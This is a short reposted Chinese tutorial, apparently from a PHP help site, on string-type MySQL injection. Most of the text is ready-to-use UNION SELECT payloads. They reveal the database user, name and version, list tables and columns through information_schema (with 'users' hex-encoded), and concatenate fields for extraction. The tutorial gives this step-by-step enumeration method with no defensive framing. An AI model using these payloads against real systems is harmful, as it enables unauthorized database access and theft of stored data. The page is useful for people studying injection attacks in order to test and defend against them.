Home > Database > Mysql Tutorial > MYSQL注入语句实用精解_MySQL

MYSQL注入语句实用精解_MySQL

WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWB
Release: 2016-06-01 13:34:39
Original
1021 people have browsed it

bitsCN.com

MYSQL注入语句实用精解

 

只讲字符型。

 

order by XX

Union select .....

 

1' UNION SELECT 1,CONCAT(user(),0x3a,database(),0x3a,version()) #                 这两句是等价的。

1' UNION SELECT 1,CONCAT_WS(CHAR(58),user(),database(),version()) #

上面是字符型的,注释符为 #  , CONCAT_WS 为用分隔符隔开连接的字符。

获取数据库等的信息

 

1' UNION SELECT 1,concat(table_name) from information_schema.tables where table_schema=database() #

 

concat产生只是字符串连接,不用也可以,也应该可以把所有表输出。table_name 和 table_schema 是 information_schema中tables表中的一个字段。

 

1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #

 

0x7573657273这个是users的十六进制表示形式。这个users只是一个特例而已。主要根据上面获得表中字段值进行查询。到了这里,数据库知道了,表知道了,表的字段也知道了。剩下的还不会查吗。直接union 查。

 

库information_schema 中的表tables  有  table_schema(数据库名) 和 table_name(表名) 两个主要字段 

 

库information_schema 中的表columns 有  table_name(表名) 和  column_name(列名) 两主要字段

 

就算是 order by 出来只有一个可以显示也没关系。可以用concat 

 

如:  concat(字段,0x3a,字段)   把两个字段显示出来了。中间那个是  : 的十六进制表示形式。

 

bitsCN.com
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template